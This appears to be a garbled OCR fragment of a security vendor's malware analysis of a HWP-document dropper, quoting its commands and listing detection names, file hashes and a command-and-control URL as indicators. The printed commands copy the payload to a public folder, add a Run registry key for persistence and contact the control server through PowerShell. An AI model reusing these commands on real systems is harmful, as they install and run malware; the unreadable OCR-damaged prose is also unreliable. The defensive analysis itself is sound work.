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C:\Users[AtE2 XIH\AppData\Local\Temp\HncApp.exe
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cmd /c copy “C:\Users\vmuser\AppData\Local\Temp\HncApp.exe”
“C:\Users\Public\Documents\IDMhelpAssist.exe”

.« RIS MY S2
cmd /c reg add HKCU\SOF TWARE\Microsoft\Windows\CurrentVersion\Run /v IDMhelp
It REG_SZ /f Id “C:\Users\Public\Documents\IDMhelpAssist.exe”

2getC2 4l

e PowerShell2

cmd /c powershell invoke-restmethod -uri http://price365.co[.]kr/abbi/json/ps/aa.php -
method get -header @{'cache-control’="no-cache’} -body @{REQ="Connect’;ID="172} >
“C:\Users\vmuser\AppData\Local\Temp\[2i = ].tmp

C2 S41 Al0fl= PowerShell2 S & H|0|X| 2 M&8t $ & 242 GHUZ &ct 0|3 of
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e Dropper/HWP.Agent (2020.12.09.00)
e Trojan/Win32.Agent.C4251645 (2020.12.09.00)

5/6


https://i0.wp.com/asec.ahnlab.com/wp-content/uploads/2020/12/image-249.png?ssl=1

[10C]

e 2c98cbb1a8eb04aeadb1be235ebb7231
* b100f0ab63a2b74a5d5ff54d533fc60f
o hxxp://price365.co.kr/abbi/json/ps/aa.php
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